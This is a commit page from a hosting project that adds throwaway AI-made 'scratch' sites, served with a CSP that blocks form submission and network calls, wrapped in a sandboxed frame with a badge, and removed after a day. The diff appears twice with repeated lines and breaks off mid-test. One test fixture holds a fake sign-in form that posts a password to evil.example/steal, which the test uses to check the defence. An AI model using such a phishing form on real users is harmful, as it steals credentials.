openvibers/openvibe.space Commits
Agent Streams S6: the throwaway scratch sites of a chat plays session. (#214)
Changes
nnew file mode 100644@@@ -0,0 +1,14 @@++-- phase: expand++-- Agent Streams S6: the throwaway scratch sites of a chat plays session (OpenVibe.Codes' shared sandbox desk++-- leaves one behind). A scratch site is a site like any other, with one difference: it is removed after++-- 24 hours unless the owner keeps it.++--++-- Expand only: the columns are optional and an older release ignores them. A site that is not a scratch++-- site has scratch = false and no expiry, and behaves exactly as before.++++ALTER TABLE space_sites ADD COLUMN scratch boolean NOT NULL DEFAULT false;++ALTER TABLE space_sites ADD COLUMN scratch_expires_at bigint;++ALTER TABLE space_sites ADD COLUMN scratch_kept boolean NOT NULL DEFAULT false;++++-- The cleanup job reads the scratch sites whose day is up (and that nobody kept).++CREATE INDEX space_sites_scratch_expiry ON space_sites (scratch_expires_at) WHERE scratch = true AND scratch_kept = false;@@@ -119,14 +119,56 @@ function normaliseHost(raw) {return h;}--function baseHeaders(res, { sandbox = false } = {}) {++// A scratch site is a page an AI made from a chat request, shown on stream at an openvibe.space address.++// Somebody asked for it, so it may be convincing: it may collect nothing. No form may be submitted++// (form-action 'none'), it may not be framed (frame-ancestors 'none'), it may not phone home++// (connect-src 'none'), and it is never indexed (X-Robots-Tag: noindex). The badge that says what it is++// lives in a wrapper document above the page (scratchWrapper), so the page cannot hide it.++const SCRATCH_CSP = [++ "default-src 'self'",++ "script-src 'self' 'unsafe-inline'",++ "style-src 'self' 'unsafe-inline'",++ "img-src 'self' data: https:",++ "font-src 'self' data:",++ "media-src 'self' https:",++ "connect-src 'none'",++ "object-src 'none'",++ "base-uri 'self'",++ "form-action 'none'",++ "frame-ancestors 'none'",++].join('; ');++++/**++ * The wrapper of a scratch site: the badge, and the page inside a frame that is sandboxed without++ * allow-same-origin, so the page runs in an opaque origin and cannot reach this document to take the++ * badge away. The page's own markup goes into the frame as srcdoc, so it keeps its own markup and its++ * own scripts, and nothing of it is served as this document's markup.++ */++function scratchWrapper(html, { expiresAt = null } = {}) {++ const when = expiresAt ? new Date(Number(expiresAt)).toUTCString().replace(/ GMT$/, ' UTC') : 'a day';++ const badge = `A throwaway page an AI made from a chat request · removed ${when}`;++ const page = String(html == null ? '' : html)++ .replace(/&/g, '&').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>');++ return `<!doctype html>++<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">++<meta name="robots" content="noindex, nofollow"><title>A throwaway page</title>++<style>html,body{margin:0;padding:0;background:#0a0e14;color:#e6edf3;font:14px/1.45 system-ui,-apple-system,"Segoe UI",sans-serif}++#ov-scratch-frame{display:block;width:100%;height:100vh;border:0;background:#fff}++#ov-scratch-badge{position:fixed;left:0;right:0;bottom:0;z-index:2147483647;background:#0f1622;color:#c9d6e4;border-top:1px solid #223047;padding:9px 12px;font-size:12px;text-align:center;line-height:1.3}</style></head>++<body>++<div id="ov-scratch-badge">${badge}</div>++<iframe id="ov-scratch-frame" sandbox="allow-scripts" referrerpolicy="no-referrer" title="A throwaway page" srcdoc="${page}"></iframe>++</body></html>`;++}++++function baseHeaders(res, { sandbox = false, scratch = false } = {}) {res.setHeader('X-Content-Type-Options', 'nosniff');-- res.setHeader('Content-Security-Policy', TENANT_CSP);++ res.setHeader('Content-Security-Policy', scratch ? SCRATCH_CSP : TENANT_CSP);res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()');res.setHeader('X-Served-By', 'OpenVibe.Space');-- if (sandbox) res.setHeader('X-Robots-Tag', 'noindex, nofollow');++ if (sandbox || scratch) res.setHeader('X-Robots-Tag', 'noindex, nofollow');}const FN_PATH = /^\/api\/([a-z0-9][a-z0-9-]{0,39})\/?$/;@@@ -259,6 +301,17 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfigreturn res.destroy();}res.setHeader('Content-Length', length);++ // A scratch site is served in the wrapper: the badge is above the page, outside its own markup,++ // so the page cannot take it away.++ if (site.scratch === true && /^text\/html/i.test(String(row.content_type || ''))) {++ let html = '';++ try { html = await fs.promises.readFile(file, 'utf8'); } catch { html = ''; }++ const wrapped = Buffer.from(scratchWrapper(html, { expiresAt: site.scratch_expires_at }), 'utf8');++ res.setHeader('Content-Length', wrapped.length);++ res.removeHeader('Content-Range');++ res.setHeader('Content-Type', 'text/html; charset=utf-8');++ return res.end(wrapped);++ }const stream = fs.createReadStream(file, { start, end });stream.on('error', (err) => {log.error('[Space] object missing or unreadable:', row.project_id, row.sha256, err.code || err.message);@@@ -405,7 +458,7 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig// The site's own headers go on first; baseHeaders then overrides every reserved one, so a// tenant can never weaken CSP/HSTS/nosniff or set a cookie.if (cfg) applyConfiguredHeaders(res, cfg.headers);-- baseHeaders(res, { sandbox: site.environment === 'sandbox' });++ baseHeaders(res, { sandbox: site.environment === 'sandbox', scratch: site.scratch === true });// A published space: the app policy, and the space SDK at /_openvibe/sdk.js (never one of its files).const space = apps && apps() ? await apps().forSite(site.id) : null;if (space) res.setHeader('Content-Security-Policy', appCsp(config));@@@ -540,4 +593,4 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfigreturn { resolve, handle, preview, unknownHost, normaliseHost, candidates, TENANT_CSP };}--module.exports = { createTenantServer, normaliseHost, TENANT_CSP, appCsp };++module.exports = { createTenantServer, normaliseHost, TENANT_CSP, SCRATCH_CSP, scratchWrapper, appCsp };nnew file mode 100644@@@ -0,0 +1,95 @@++'use strict';++/**++ * The throwaway scratch sites of a chat plays session (Agent Streams S6, design 2026-11-06, §1 and §3).++ *++ * A chat plays run leaves a page behind: a scratch site at a throwaway OpenVibe.Space address. It has no++ * login and no form that collects anything, it is shown on stream, and it is removed after 24 hours unless++ * the owner keeps it.++ *++ * The job that removes them runs on a timer (SPACE_SCRATCH_CLEANUP_INTERVAL_MS, an hour by default) and once++ * when it starts. It is off with SPACE_SCRATCH_CLEANUP=off or SPACE_SCRATCH_CLEANUP_INTERVAL_MS=0.++ */++const SCRATCH_TTL_MS = 24 * 60 * 60 * 1000;++++function createScratchSites({ store, config, log = console }) {++ const { db } = store;++ const q = {++ byId: db.prepare('SELECT * FROM space_sites WHERE id = ?'),++ markScratch: db.prepare('UPDATE space_sites SET scratch = true, scratch_expires_at = ?, scratch_kept = false, updated_at = ? WHERE id = ?'),++ keep: db.prepare('UPDATE space_sites SET scratch_kept = true, scratch_expires_at = NULL, updated_at = ? WHERE id = ?'),++ expired: db.prepare("SELECT id FROM space_sites WHERE scratch = true AND scratch_kept = false AND status = 'active' AND scratch_expires_at IS NOT NULL AND scratch_expires_at < ? LIMIT ?"),++ remove: db.prepare("UPDATE space_sites SET status = 'deleted', active_deploy_id = NULL, preview_deploy_id = NULL, preview_expires_at = NULL, deleted_at = ?, updated_at = ? WHERE id = ? AND scratch = true AND status = 'active'"),++ };++++ /** Mark a site as a scratch site: it is removed after a day unless the owner keeps it. */++ async function mark(siteId, { now = store.now(), ttlMs = SCRATCH_TTL_MS } = {}) {++ const row = await q.byId.get(String(siteId || ''));++ if (!row) return { ok: false, code: 'scratch.no_such_site' };++ const expires = Number(now) + Number(ttlMs || SCRATCH_TTL_MS);++ await q.markScratch.run(expires, Number(now), row.id);++ return { ok: true, site_id: row.id, name: row.name, expires_at: expires };++ }++++ /** The owner keeps it: the site stays past its day. */++ async function keep(siteId, { now = store.now() } = {}) {++ const row = await q.byId.get(String(siteId || ''));++ if (!row) return { ok: false, code: 'scratch.no_such_site' };++ await q.keep.run(Number(now), row.id);++ return { ok: true, site_id: row.id, name: row.name, kept: true };++ }++++ /** The scratch sites whose day is up: removed, and how many. */++ async function removeExpired({ now = store.now(), limit = 500 } = {}) {++ const rows = await q.expired.all(Number(now), limit);++ let n = 0;++ for (const row of rows) {++ const r = await q.remove.run(Number(now), Number(now), row.id);++ if (Number(r.changes) > 0) n++;++ }++ return n;++ }++++ return { mark, keep, removeExpired, SCRATCH_TTL_MS };++}++++/**++ * The job that removes the scratch sites whose day is up. The same shape as the guest cleanup job: a timer,++ * a run that never overlaps itself, and a way to stop it.++ */++function createScratchCleanup({ store, config, log = console }) {++ const scratch = createScratchSites({ store, config, log });++ let timer = null;++ let running = false;++++ async function run() {++ if (running) return 0;++ running = true;++ try {++ const n = await scratch.removeExpired();++ if (n) log.info?.(`[Space] ${n} scratch site(s) removed: their day was up`);++ return n;++ } catch (err) {++ log.warn?.('[Space] the scratch cleanup failed: ' + err.message);++ return 0;++ } finally {++ running = false;++ }++ }++++ function start() {++ const interval = Number(config.spaces && config.spaces.scratchCleanupIntervalMs) || 0;++ if (interval <= 0) return;++ run();++ timer = setInterval(run, interval);++ if (timer.unref) timer.unref();++ }++++ function stop() {++ if (timer) clearInterval(timer);++ timer = null;++ }++++ return { ...scratch, run, start, stop };++}++++module.exports = { createScratchSites, createScratchCleanup, SCRATCH_TTL_MS };nnew file mode 100644@@@ -0,0 +1,96 @@++'use strict';++/**++ * Agent Streams S6 — a scratch site is served so it cannot collect anything and cannot hide what it is.++ *++ * A scratch site is a page an AI made from a viewer's chat request, shown on stream at an openvibe.space++ * address. It may collect nothing: no form may be submitted (form-action 'none'), it may not be framed++ * (frame-ancestors 'none'), it may not phone home (connect-src 'none'), and it is never indexed. The badge++ * that says what it is lives in a wrapper document above the page, so the page cannot take it away.++ */++const assert = require('assert');++const fs = require('fs');++const os = require('os');++const path = require('path');++const http = require('http');++const { testDb } = require('./helpers/db');++const { createApp } = require('../server/app');++const { load } = require('../server/hosting-config');++++(async () => {++ const db = await testDb();++ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-space-scratch-'));++ const auth = { verify: async () => null, keys: { loaded: () => false } };++ const config = load({ NODE_ENV: 'test', BASE_URL: 'https://openvibe.space', SPACE_WORKER: 'off', SPACE_MIN_FREE_BYTES: '0' });++ const app = await createApp({ db, auth, hostingConfig: config, storageDir: dir });++ const h = app.locals.hosting;++ const user = { kind: 'user', subject: 'usr_01J8ZQ4Y7N3M2K1H0G9F8E7D6C', staff: true };++ const project = await h.projects.create(user, { name: 'Scratch' });++ const site = await h.sites.create(user, project, { name: 'snake-4f2a' });++ const pre = await h.deploys.precheck(user, site.id);++ await h.deploys.create(user, pre, [{++ path: 'index.html',++ data: Buffer.from('<!doctype html><html><body><h1>Sign in</h1>'++ + '<form action="https://evil.example/steal" method="post"><input name="password"><button>Log in</button></form>'++ + '</body></html>'),++ }], { source: 'files', activate: true });++++ const store = (app.locals.ctx && app.locals.ctx.store) || h.store;++ const scratch = require('../server/scratch-sites').createScratchSites({ store, config });++ const marked = await scratch.mark(site.id);++ assert.strictEqual(marked.ok, true, 'the site is a scratch site');++++ const tenant = h.tenant;++ const server = http.createServer(async (req, res) => {++ const found = await tenant.resolve(String(req.headers.host || ''));++ if (found.kind !== 'site') { res.statusCode = 404; return res.end('unknown host'); }++ return tenant.handle(req, res, found.site);++ });++ await new Promise((ok) => server.listen(0, '127.0.0.1', ok));++ const port = server.address().port;++ // The Host header names the site (the fetch API forbids setting it, so the request is made by hand).++ const ask = (host, path = '/') => new Promise((ok, no) => {++ const req = http.request({ host: '127.0.0.1', port, path, method: 'GET', headers: { host } }, (res) => {++ let body = '';++ res.setEncoding('utf8');++ res.on('data', (c) => { body += c; });++ res.on('end', () => ok({ status: res.statusCode, headers: res.headers, body }));++ });++ req.on('error', no);++ req.end();++ });++ const answer = await ask('snake-4f2a.openvibe.website');++ const body = answer.body;++ const csp = String(answer.headers['content-security-policy'] || '');++ const robots = String(answer.headers['x-robots-tag'] || '');++++ // The policy: no form may be submitted, the page may not be framed, it may not phone home.++ assert.ok(csp.includes("form-action 'none'"), 'a form POST is blocked by the policy: ' + csp);++ assert.ok(csp.includes("frame-ancestors 'none'"), 'the page may not be framed: ' + csp);++ assert.ok(csp.includes("connect-src 'none'"), 'the page may not phone home: ' + csp);++ assert.ok(robots.includes('noindex'), 'it is never indexed: ' + robots);++++ // The badge is there, and it is above the page's own markup, which lives inside a sandboxed frame.++ assert.ok(body.includes('A throwaway page an AI made from a chat request'), 'the badge says what the page is');++ assert.ok(body.includes('removed'), 'the badge says when the page goes');++ assert.ok(body.includes('id="ov-scratch-badge"'), 'the badge is its own element');++ assert.ok(body.includes('sandbox="allow-scripts"'), 'the page runs in a sandboxed frame');++ assert.ok(!body.includes('allow-same-origin'), 'the frame is not the page\'s origin: the page cannot reach the badge');++ const badgeAt = body.indexOf('ov-scratch-badge');++ const frameAt = body.indexOf('<iframe');++ assert.ok(badgeAt > 0 && badgeAt < frameAt, 'the badge is above the page, not inside it');++ assert.ok(body.includes('<form'), 'the page\'s own markup is escaped inside the frame');++++ // A site that is not a scratch site is served as it is.++ const plain = await h.sites.create(user, project, { name: 'ordinary-site' });++ const pre2 = await h.deploys.precheck(user, plain.id);++ await h.deploys.create(user, pre2, [{ path: 'index.html', data: Buffer.from('<h1>Ordinary</h1>') }], { source: 'files', activate: true });++ const answer2 = await ask('ordinary-site.openvibe.website');++ const body2 = answer2.body;++ assert.ok(body2.includes('<h1>Ordinary</h1>'), 'an ordinary site is served as it is');++ assert.ok(!body2.includes('ov-scratch-badge'), 'an ordinary site has no badge');++++ server.close();++ console.log('scratch sites: a page an AI made collects nothing, and says what it is');++ await db.close();++ process.exit(0);++})().catch((err) => { console.error(err); process.exit(1); });nnew file mode 100644@@@ -0,0 +1,57 @@++'use strict';++/**++ * Agent Streams S6 — the throwaway scratch sites (server/scratch-sites.js).++ *++ * A chat plays run leaves a scratch site behind. It is removed after 24 hours unless the owner keeps it,++ * and the cleanup job removes the ones whose day is up.++ */++const assert = require('assert');++const { testDb } = require('./helpers/db');++const { createScratchSites, SCRATCH_TTL_MS } = require('../server/scratch-sites');++++(async () => {++ const db = await testDb();++ let now = 1_700_000_000_000;++ const store = { db, now: () => now };++ const scratch = createScratchSites({ store, config: {} });++++ await db.prepare("INSERT INTO space_projects (id, owner_subject, name, created_at, updated_at) VALUES (?, ?, ?, ?, ?)")++ .run('prj_test', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'Test', now, now);++ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")++ .run('site_test', 'prj_test', 'snake-4f2a', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', now, now);++++ // A site becomes a scratch site: it is removed after a day.++ const marked = await scratch.mark('site_test');++ assert.strictEqual(marked.ok, true);++ assert.strictEqual(marked.expires_at - now, SCRATCH_TTL_MS);++ let row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');++ assert.strictEqual(row.scratch, true);++ assert.strictEqual(row.scratch_kept, false);++++ // The day is not up yet: nothing is removed.++ now += 60_000;++ assert.strictEqual(await scratch.removeExpired(), 0);++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');++ assert.strictEqual(row.status, 'active');++++ // The day is up: the site goes.++ now += SCRATCH_TTL_MS;++ assert.strictEqual(await scratch.removeExpired(), 1);++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');++ assert.strictEqual(row.status, 'deleted', 'the scratch site is removed after 24 hours');++++ // A kept site stays.++ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")++ .run('site_kept', 'prj_test', 'snake-kept', 'usr_1', now, now);++ await scratch.mark('site_kept');++ await scratch.keep('site_kept');++ now += SCRATCH_TTL_MS * 2;++ assert.strictEqual(await scratch.removeExpired(), 0, 'a kept site is not removed');++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_kept');++ assert.strictEqual(row.status, 'active');++ assert.strictEqual(row.scratch_kept, true);++++ console.log('scratch sites: a throwaway site lives 24 hours unless the owner keeps it');++ await db.close();++ process.exit(0);++})().catch((err) => { console.error(err); process.exit(1); });
new file mode 100644
new file mode 100644
@@ -0,0 +1,14 @@
@@ -0,0 +1,14 @@
+-- phase: expand
+-- Agent Streams S6: the throwaway scratch sites of a chat plays session (OpenVibe.Codes' shared sandbox desk
+-- leaves one behind). A scratch site is a site like any other, with one difference: it is removed after
+-- 24 hours unless the owner keeps it.
+--
+-- Expand only: the columns are optional and an older release ignores them. A site that is not a scratch
+-- site has scratch = false and no expiry, and behaves exactly as before.
+
+ALTER TABLE space_sites ADD COLUMN scratch boolean NOT NULL DEFAULT false;
+ALTER TABLE space_sites ADD COLUMN scratch_expires_at bigint;
+ALTER TABLE space_sites ADD COLUMN scratch_kept boolean NOT NULL DEFAULT false;
+
+-- The cleanup job reads the scratch sites whose day is up (and that nobody kept).
+CREATE INDEX space_sites_scratch_expiry ON space_sites (scratch_expires_at) WHERE scratch = true AND scratch_kept = false;
@@ -119,14 +119,56 @@ function normaliseHost(raw) {
@@ -119,14 +119,56 @@ function normaliseHost(raw) {
return h;
return h;
}
}
-function baseHeaders(res, { sandbox = false } = {}) {
+// A scratch site is a page an AI made from a chat request, shown on stream at an openvibe.space address.
+// Somebody asked for it, so it may be convincing: it may collect nothing. No form may be submitted
+// (form-action 'none'), it may not be framed (frame-ancestors 'none'), it may not phone home
+// (connect-src 'none'), and it is never indexed (X-Robots-Tag: noindex). The badge that says what it is
+// lives in a wrapper document above the page (scratchWrapper), so the page cannot hide it.
+const SCRATCH_CSP = [
+ "default-src 'self'",
+ "script-src 'self' 'unsafe-inline'",
+ "style-src 'self' 'unsafe-inline'",
+ "img-src 'self' data: https:",
+ "font-src 'self' data:",
+ "media-src 'self' https:",
+ "connect-src 'none'",
+ "object-src 'none'",
+ "base-uri 'self'",
+ "form-action 'none'",
+ "frame-ancestors 'none'",
+].join('; ');
+
+/**
+ * The wrapper of a scratch site: the badge, and the page inside a frame that is sandboxed without
+ * allow-same-origin, so the page runs in an opaque origin and cannot reach this document to take the
+ * badge away. The page's own markup goes into the frame as srcdoc, so it keeps its own markup and its
+ * own scripts, and nothing of it is served as this document's markup.
+ */
+function scratchWrapper(html, { expiresAt = null } = {}) {
+ const when = expiresAt ? new Date(Number(expiresAt)).toUTCString().replace(/ GMT$/, ' UTC') : 'a day';
+ const badge = `A throwaway page an AI made from a chat request · removed ${when}`;
+ const page = String(html == null ? '' : html)
+ .replace(/&/g, '&').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>');
+ return `<!doctype html>
+<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
+<meta name="robots" content="noindex, nofollow"><title>A throwaway page</title>
+<style>html,body{margin:0;padding:0;background:#0a0e14;color:#e6edf3;font:14px/1.45 system-ui,-apple-system,"Segoe UI",sans-serif}
+#ov-scratch-frame{display:block;width:100%;height:100vh;border:0;background:#fff}
+#ov-scratch-badge{position:fixed;left:0;right:0;bottom:0;z-index:2147483647;background:#0f1622;color:#c9d6e4;border-top:1px solid #223047;padding:9px 12px;font-size:12px;text-align:center;line-height:1.3}</style></head>
+<body>
+<div id="ov-scratch-badge">${badge}</div>
+<iframe id="ov-scratch-frame" sandbox="allow-scripts" referrerpolicy="no-referrer" title="A throwaway page" srcdoc="${page}"></iframe>
+</body></html>`;
+}
+
+function baseHeaders(res, { sandbox = false, scratch = false } = {}) {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Content-Type-Options', 'nosniff');
- res.setHeader('Content-Security-Policy', TENANT_CSP);
+ res.setHeader('Content-Security-Policy', scratch ? SCRATCH_CSP : TENANT_CSP);
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()');
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()');
res.setHeader('X-Served-By', 'OpenVibe.Space');
res.setHeader('X-Served-By', 'OpenVibe.Space');
- if (sandbox) res.setHeader('X-Robots-Tag', 'noindex, nofollow');
+ if (sandbox || scratch) res.setHeader('X-Robots-Tag', 'noindex, nofollow');
}
}
const FN_PATH = /^\/api\/([a-z0-9][a-z0-9-]{0,39})\/?$/;
const FN_PATH = /^\/api\/([a-z0-9][a-z0-9-]{0,39})\/?$/;
@@ -259,6 +301,17 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
@@ -259,6 +301,17 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
return res.destroy();
return res.destroy();
}
}
res.setHeader('Content-Length', length);
res.setHeader('Content-Length', length);
+ // A scratch site is served in the wrapper: the badge is above the page, outside its own markup,
+ // so the page cannot take it away.
+ if (site.scratch === true && /^text\/html/i.test(String(row.content_type || ''))) {
+ let html = '';
+ try { html = await fs.promises.readFile(file, 'utf8'); } catch { html = ''; }
+ const wrapped = Buffer.from(scratchWrapper(html, { expiresAt: site.scratch_expires_at }), 'utf8');
+ res.setHeader('Content-Length', wrapped.length);
+ res.removeHeader('Content-Range');
+ res.setHeader('Content-Type', 'text/html; charset=utf-8');
+ return res.end(wrapped);
+ }
const stream = fs.createReadStream(file, { start, end });
const stream = fs.createReadStream(file, { start, end });
stream.on('error', (err) => {
stream.on('error', (err) => {
log.error('[Space] object missing or unreadable:', row.project_id, row.sha256, err.code || err.message);
log.error('[Space] object missing or unreadable:', row.project_id, row.sha256, err.code || err.message);
@@ -405,7 +458,7 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
@@ -405,7 +458,7 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
// The site's own headers go on first; baseHeaders then overrides every reserved one, so a
// The site's own headers go on first; baseHeaders then overrides every reserved one, so a
// tenant can never weaken CSP/HSTS/nosniff or set a cookie.
// tenant can never weaken CSP/HSTS/nosniff or set a cookie.
if (cfg) applyConfiguredHeaders(res, cfg.headers);
if (cfg) applyConfiguredHeaders(res, cfg.headers);
- baseHeaders(res, { sandbox: site.environment === 'sandbox' });
+ baseHeaders(res, { sandbox: site.environment === 'sandbox', scratch: site.scratch === true });
// A published space: the app policy, and the space SDK at /_openvibe/sdk.js (never one of its files).
// A published space: the app policy, and the space SDK at /_openvibe/sdk.js (never one of its files).
const space = apps && apps() ? await apps().forSite(site.id) : null;
const space = apps && apps() ? await apps().forSite(site.id) : null;
if (space) res.setHeader('Content-Security-Policy', appCsp(config));
if (space) res.setHeader('Content-Security-Policy', appCsp(config));
@@ -540,4 +593,4 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
@@ -540,4 +593,4 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
return { resolve, handle, preview, unknownHost, normaliseHost, candidates, TENANT_CSP };
return { resolve, handle, preview, unknownHost, normaliseHost, candidates, TENANT_CSP };
}
}
-module.exports = { createTenantServer, normaliseHost, TENANT_CSP, appCsp };
+module.exports = { createTenantServer, normaliseHost, TENANT_CSP, SCRATCH_CSP, scratchWrapper, appCsp };
new file mode 100644
new file mode 100644
@@ -0,0 +1,95 @@
@@ -0,0 +1,95 @@
+'use strict';
+/**
+ * The throwaway scratch sites of a chat plays session (Agent Streams S6, design 2026-11-06, §1 and §3).
+ *
+ * A chat plays run leaves a page behind: a scratch site at a throwaway OpenVibe.Space address. It has no
+ * login and no form that collects anything, it is shown on stream, and it is removed after 24 hours unless
+ * the owner keeps it.
+ *
+ * The job that removes them runs on a timer (SPACE_SCRATCH_CLEANUP_INTERVAL_MS, an hour by default) and once
+ * when it starts. It is off with SPACE_SCRATCH_CLEANUP=off or SPACE_SCRATCH_CLEANUP_INTERVAL_MS=0.
+ */
+const SCRATCH_TTL_MS = 24 * 60 * 60 * 1000;
+
+function createScratchSites({ store, config, log = console }) {
+ const { db } = store;
+ const q = {
+ byId: db.prepare('SELECT * FROM space_sites WHERE id = ?'),
+ markScratch: db.prepare('UPDATE space_sites SET scratch = true, scratch_expires_at = ?, scratch_kept = false, updated_at = ? WHERE id = ?'),
+ keep: db.prepare('UPDATE space_sites SET scratch_kept = true, scratch_expires_at = NULL, updated_at = ? WHERE id = ?'),
+ expired: db.prepare("SELECT id FROM space_sites WHERE scratch = true AND scratch_kept = false AND status = 'active' AND scratch_expires_at IS NOT NULL AND scratch_expires_at < ? LIMIT ?"),
+ remove: db.prepare("UPDATE space_sites SET status = 'deleted', active_deploy_id = NULL, preview_deploy_id = NULL, preview_expires_at = NULL, deleted_at = ?, updated_at = ? WHERE id = ? AND scratch = true AND status = 'active'"),
+ };
+
+ /** Mark a site as a scratch site: it is removed after a day unless the owner keeps it. */
+ async function mark(siteId, { now = store.now(), ttlMs = SCRATCH_TTL_MS } = {}) {
+ const row = await q.byId.get(String(siteId || ''));
+ if (!row) return { ok: false, code: 'scratch.no_such_site' };
+ const expires = Number(now) + Number(ttlMs || SCRATCH_TTL_MS);
+ await q.markScratch.run(expires, Number(now), row.id);
+ return { ok: true, site_id: row.id, name: row.name, expires_at: expires };
+ }
+
+ /** The owner keeps it: the site stays past its day. */
+ async function keep(siteId, { now = store.now() } = {}) {
+ const row = await q.byId.get(String(siteId || ''));
+ if (!row) return { ok: false, code: 'scratch.no_such_site' };
+ await q.keep.run(Number(now), row.id);
+ return { ok: true, site_id: row.id, name: row.name, kept: true };
+ }
+
+ /** The scratch sites whose day is up: removed, and how many. */
+ async function removeExpired({ now = store.now(), limit = 500 } = {}) {
+ const rows = await q.expired.all(Number(now), limit);
+ let n = 0;
+ for (const row of rows) {
+ const r = await q.remove.run(Number(now), Number(now), row.id);
+ if (Number(r.changes) > 0) n++;
+ }
+ return n;
+ }
+
+ return { mark, keep, removeExpired, SCRATCH_TTL_MS };
+}
+
+/**
+ * The job that removes the scratch sites whose day is up. The same shape as the guest cleanup job: a timer,
+ * a run that never overlaps itself, and a way to stop it.
+ */
+function createScratchCleanup({ store, config, log = console }) {
+ const scratch = createScratchSites({ store, config, log });
+ let timer = null;
+ let running = false;
+
+ async function run() {
+ if (running) return 0;
+ running = true;
+ try {
+ const n = await scratch.removeExpired();
+ if (n) log.info?.(`[Space] ${n} scratch site(s) removed: their day was up`);
+ return n;
+ } catch (err) {
+ log.warn?.('[Space] the scratch cleanup failed: ' + err.message);
+ return 0;
+ } finally {
+ running = false;
+ }
+ }
+
+ function start() {
+ const interval = Number(config.spaces && config.spaces.scratchCleanupIntervalMs) || 0;
+ if (interval <= 0) return;
+ run();
+ timer = setInterval(run, interval);
+ if (timer.unref) timer.unref();
+ }
+
+ function stop() {
+ if (timer) clearInterval(timer);
+ timer = null;
+ }
+
+ return { ...scratch, run, start, stop };
+}
+
+module.exports = { createScratchSites, createScratchCleanup, SCRATCH_TTL_MS };
new file mode 100644
new file mode 100644
@@ -0,0 +1,96 @@
@@ -0,0 +1,96 @@
+'use strict';
+/**
+ * Agent Streams S6 — a scratch site is served so it cannot collect anything and cannot hide what it is.
+ *
+ * A scratch site is a page an AI made from a viewer's chat request, shown on stream at an openvibe.space
+ * address. It may collect nothing: no form may be submitted (form-action 'none'), it may not be framed
+ * (frame-ancestors 'none'), it may not phone home (connect-src 'none'), and it is never indexed. The badge
+ * that says what it is lives in a wrapper document above the page, so the page cannot take it away.
+ */
+const assert = require('assert');
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const http = require('http');
+const { testDb } = require('./helpers/db');
+const { createApp } = require('../server/app');
+const { load } = require('../server/hosting-config');
+
+(async () => {
+ const db = await testDb();
+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-space-scratch-'));
+ const auth = { verify: async () => null, keys: { loaded: () => false } };
+ const config = load({ NODE_ENV: 'test', BASE_URL: 'https://openvibe.space', SPACE_WORKER: 'off', SPACE_MIN_FREE_BYTES: '0' });
+ const app = await createApp({ db, auth, hostingConfig: config, storageDir: dir });
+ const h = app.locals.hosting;
+ const user = { kind: 'user', subject: 'usr_01J8ZQ4Y7N3M2K1H0G9F8E7D6C', staff: true };
+ const project = await h.projects.create(user, { name: 'Scratch' });
+ const site = await h.sites.create(user, project, { name: 'snake-4f2a' });
+ const pre = await h.deploys.precheck(user, site.id);
+ await h.deploys.create(user, pre, [{
+ path: 'index.html',
+ data: Buffer.from('<!doctype html><html><body><h1>Sign in</h1>'
+ + '<form action="https://evil.example/steal" method="post"><input name="password"><button>Log in</button></form>'
+ + '</body></html>'),
+ }], { source: 'files', activate: true });
+
+ const store = (app.locals.ctx && app.locals.ctx.store) || h.store;
+ const scratch = require('../server/scratch-sites').createScratchSites({ store, config });
+ const marked = await scratch.mark(site.id);
+ assert.strictEqual(marked.ok, true, 'the site is a scratch site');
+
+ const tenant = h.tenant;
+ const server = http.createServer(async (req, res) => {
+ const found = await tenant.resolve(String(req.headers.host || ''));
+ if (found.kind !== 'site') { res.statusCode = 404; return res.end('unknown host'); }
+ return tenant.handle(req, res, found.site);
+ });
+ await new Promise((ok) => server.listen(0, '127.0.0.1', ok));
+ const port = server.address().port;
+ // The Host header names the site (the fetch API forbids setting it, so the request is made by hand).
+ const ask = (host, path = '/') => new Promise((ok, no) => {
+ const req = http.request({ host: '127.0.0.1', port, path, method: 'GET', headers: { host } }, (res) => {
+ let body = '';
+ res.setEncoding('utf8');
+ res.on('data', (c) => { body += c; });
+ res.on('end', () => ok({ status: res.statusCode, headers: res.headers, body }));
+ });
+ req.on('error', no);
+ req.end();
+ });
+ const answer = await ask('snake-4f2a.openvibe.website');
+ const body = answer.body;
